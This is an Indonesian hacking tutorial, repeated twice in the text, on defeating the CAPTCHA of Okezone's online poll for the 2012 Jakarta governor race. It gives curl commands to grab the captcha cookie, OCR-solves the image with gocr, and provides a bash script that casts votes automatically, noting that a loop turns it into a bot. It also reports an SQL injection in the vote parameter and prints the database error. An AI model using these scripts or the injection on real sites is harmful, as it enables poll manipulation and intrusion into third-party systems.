[ Release 1/7/2012 ]
Network : Defeating Okezone Polling Captcha
Penulis : drubicza
-----[ Disclaimer
Tutorial ini hanya untuk tujuan pembelajaran saja. Penulis tidak bertanggung
jawab atas penggunaan maupun penyalahgunaannya
-----[ Pendahuluan
Berawal dari status om y3dips di twitter[1] yang memberitahukan adanya flaw
pada mekanisme captcha di situs polling okezone[2], akhirnya saya berinisiatif
untuk melakukan pengujian. Kebetulan om y3dips juga memberikan referensi pada
sebuah artikel di ezine echo[3]. Setelah membaca artikel ezine echo, saya ber-
pikir untuk mencoba cara lain.
-----[ Langkah-langkah
* Setelah membuka situs okezone[2], kita bisa menemukan iframe polling untuk
cagub/cawagub DKI Jakarta[4]. Dan jika dilihat sourcenya maka akan terlihat
form beserta parameter yang akan di-post termasuk salah satunya berupa input
validasi menggunakan captcha[5].
* Selanjutnya, saya menggunakan wireshark untuk mengamati proses posting. Jadi
langsung saja jalankan wireshark dan buka halaman polling[4] di browser. Dan
setelah memasukkan nilai captcha serta menekan tombol pilih, maka kita bisa
melihat parameter yang dikirim dalam bentuk POST kurang lebih seperti ini:
* Dari log wireshark juga dapat dilihat bahwa proses polling menggunakan cookie
untuk validasi. Bentuk cookienya seperti ini:
* Cookie tersebut diperoleh dari request gambar captcha. Dari informasi terse-
but, kita bisa membuat kesimpulan sederhana bahwa kita cukup me-request gam-
bar captcha dan mengambil cookie dari captcha tersebut untuk nantinya diikut-
kan ketika melakukan posting polling.
* Nah, sekarang untuk memecahkan captchanya, kita bisa menggunakan aplikasi
gocr[6]. Jika sistem yang digunakan belum memilik gocr, silakan download dulu
lalu compile atau langsung menggunakan paket sesuai dengan sistem yang
digunakan.
* Waktunya untuk mencoba melakukan request. Untuk mempermudah, kita menggunakan
curl seperti ini:
* Adapun opsi yang digunakan adalah "-s" untuk mode silent,"-c" untuk menyimpan
cookie pada file yang diinginkan dan "-o" untuk menyimpan output captcha pada
file yang diinginkan, dalam hal ini diberi nama "mini.png" sesuai dengan for-
mat gambar captchanya.
* Setelah melakukan request, maka kita bisa memeriksa apakah cookienya berhasil
disimpan:
* Oke, cookienya berhasil disimpan ke dalam file "okezone.cookie". Selanjutnya
memeriksa apakah captchanya bisa dipecahkan menggunakan aplikasi gocr:
$ gocr mini.png
8544
* Ternyata berhasil. Langkah terakhir adalah melakukan posting sesuai dengan
parameter yang telah ditentukan, termasuk menggunakan cookie yang telah di-
simpan.
* Ganti parameter _NO_ dengan angka kandidat yang dipilih, dan lakukan request.
Jika captcha salah maka akan ada peringatan pada output berupa string "kode
salah". Namun kali ini tidak ada string tersebut, yang artinya request ber-
hasil dilakukan.
* Jika kita mengganti parameter "votePolling" dengan karakter acak maka kita
bisa melihat bahwa polling tersebut memiliki celah SQL injection yang kemung-
kinan bisa dieksploitasi oleh pihak-pihak tertentu. Berikut ini adalah pesan
error yang muncul:
* Untuk mempermudah, berikut ini adalah shell script yang akan melakukan proses
di atas secara otomatis. Jika ingin dijadikan bot, cukup menambahkan looping.
-----[ Penutup
Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang
Maha Esa, RNDC, Maxindo, 1st****, y3dips, lirva32 dan Anda yang telah membaca
tutorial ini.
-----[ Referensi
[1] https://twitter.com/...103823651995650
[2] http://jakarta.okezone.com/
[3] http://ezine.echo.or...e22/e22-009.txt
[4] http://http://iface....lingcagubdki/24
[5] http://iface.okezone.com/captcha/mini
[6] http://jocr.sourceforge.net/
Sumber: http://rndc.or.id/ez...ing-captcha.txt
Network : Defeating Okezone Polling Captcha
Penulis : drubicza
-----[ Disclaimer
Tutorial ini hanya untuk tujuan pembelajaran saja. Penulis tidak bertanggung
jawab atas penggunaan maupun penyalahgunaannya
-----[ Pendahuluan
Berawal dari status om y3dips di twitter[1] yang memberitahukan adanya flaw
pada mekanisme captcha di situs polling okezone[2], akhirnya saya berinisiatif
untuk melakukan pengujian. Kebetulan om y3dips juga memberikan referensi pada
sebuah artikel di ezine echo[3]. Setelah membaca artikel ezine echo, saya ber-
pikir untuk mencoba cara lain.
-----[ Langkah-langkah
* Setelah membuka situs okezone[2], kita bisa menemukan iframe polling untuk
cagub/cawagub DKI Jakarta[4]. Dan jika dilihat sourcenya maka akan terlihat
form beserta parameter yang akan di-post termasuk salah satunya berupa input
validasi menggunakan captcha[5].
* Selanjutnya, saya menggunakan wireshark untuk mengamati proses posting. Jadi
langsung saja jalankan wireshark dan buka halaman polling[4] di browser. Dan
setelah memasukkan nilai captcha serta menekan tombol pilih, maka kita bisa
melihat parameter yang dikirim dalam bentuk POST kurang lebih seperti ini:
Code:
pollKanal=24&idPolling=239&votePolling=_NO_&kodehuman=_CAPTCHA_&button=Pilih
* Dari log wireshark juga dapat dilihat bahwa proses polling menggunakan cookie
untuk validasi. Bentuk cookienya seperti ini:
Code:
web4sesid=xxxxxxxxxxxxxxxxxxxxxxxxxx
* Cookie tersebut diperoleh dari request gambar captcha. Dari informasi terse-
but, kita bisa membuat kesimpulan sederhana bahwa kita cukup me-request gam-
bar captcha dan mengambil cookie dari captcha tersebut untuk nantinya diikut-
kan ketika melakukan posting polling.
* Nah, sekarang untuk memecahkan captchanya, kita bisa menggunakan aplikasi
gocr[6]. Jika sistem yang digunakan belum memilik gocr, silakan download dulu
lalu compile atau langsung menggunakan paket sesuai dengan sistem yang
digunakan.
* Waktunya untuk mencoba melakukan request. Untuk mempermudah, kita menggunakan
curl seperti ini:
Code:
curl -s -c okezone.cookie -o mini.png http://iface.okezone.com/captcha/mini
* Adapun opsi yang digunakan adalah "-s" untuk mode silent,"-c" untuk menyimpan
cookie pada file yang diinginkan dan "-o" untuk menyimpan output captcha pada
file yang diinginkan, dalam hal ini diberi nama "mini.png" sesuai dengan for-
mat gambar captchanya.
* Setelah melakukan request, maka kita bisa memeriksa apakah cookienya berhasil
disimpan:
Code:
$ cat okezone.cookie
# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.
iface.okezone.com FALSE / FALSE 0 web4sesid xxxxxxxxxxxxxxxxxxxxxxxxxx
* Oke, cookienya berhasil disimpan ke dalam file "okezone.cookie". Selanjutnya
memeriksa apakah captchanya bisa dipecahkan menggunakan aplikasi gocr:
$ gocr mini.png
8544
* Ternyata berhasil. Langkah terakhir adalah melakukan posting sesuai dengan
parameter yang telah ditentukan, termasuk menggunakan cookie yang telah di-
simpan.
Code:
$ curl -s \
> -b okezone.cookie \
> -d "pollKanal=24&idPolling=239&votePolling=_NO_&kodehuman=$(gocr mini.png)&button=Pilih" \
> "http://iface.okezone.com/index.php/polling/form/pollingcagubdki/24"
* Ganti parameter _NO_ dengan angka kandidat yang dipilih, dan lakukan request.
Jika captcha salah maka akan ada peringatan pada output berupa string "kode
salah". Namun kali ini tidak ada string tersebut, yang artinya request ber-
hasil dilakukan.
* Jika kita mengganti parameter "votePolling" dengan karakter acak maka kita
bisa melihat bahwa polling tersebut memiliki celah SQL injection yang kemung-
kinan bisa dieksploitasi oleh pihak-pihak tertentu. Berikut ini adalah pesan
error yang muncul:
Code:
A Database Error Occurred
Error Number: 1054
Unknown column 'FOO' in 'where clause'
UPDATE ot_polling_a SET hit = hit + 1 WHERE id_polling_a = FOO
* Untuk mempermudah, berikut ini adalah shell script yang akan melakukan proses
di atas secara otomatis. Jika ingin dijadikan bot, cukup menambahkan looping.
Code:
#!/bin/bash
#############################################################################
# Disclaimer: For educational purpose ONLY!
# How to use: 1. install gocr (http://jocr.sourceforge.net/)
# 2. ganti parameter "votePolling" sesuai dengan nomor cagub,
# lihat bagian "_CHANGE_THIS_" pada kode di bawah:
#
# 902 - Fauzi Bowo / Nachrowi Ramli
# 903 - Hendardji Soepanji / Ahmad Riza
# 904 - Joko Widodo / Baasuki T Purnama
# 905 - Hidayat Nurwahid / Didik J Rachbini
# 906 - Faisal Basri / Biem Benyamin
# 907 - Alex Noerdin / Nono Sampono
#
# P/s : Pollingnya bisa kena SQLi :D
#############################################################################
curl -s -c okezone.cookie -o mini.png http://iface.okezone.com/captcha/mini
curl -s \
-b okezone.cookie \
-d "pollKanal=24&idPolling=239&votePolling=_CHANGE_THIS_&kodehuman=$(gocr mini.png)&button=Pilih" \
"http://iface.okezone.com/index.php/polling/form/pollingcagubdki/24"
rm mini.png
#####8<-----END_SOURCE-----##################################################
-----[ Penutup
Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang
Maha Esa, RNDC, Maxindo, 1st****, y3dips, lirva32 dan Anda yang telah membaca
tutorial ini.
-----[ Referensi
[1] https://twitter.com/...103823651995650
[2] http://jakarta.okezone.com/
[3] http://ezine.echo.or...e22/e22-009.txt
[4] http://http://iface....lingcagubdki/24
[5] http://iface.okezone.com/captcha/mini
[6] http://jocr.sourceforge.net/
Sumber: http://rndc.or.id/ez...ing-captcha.txt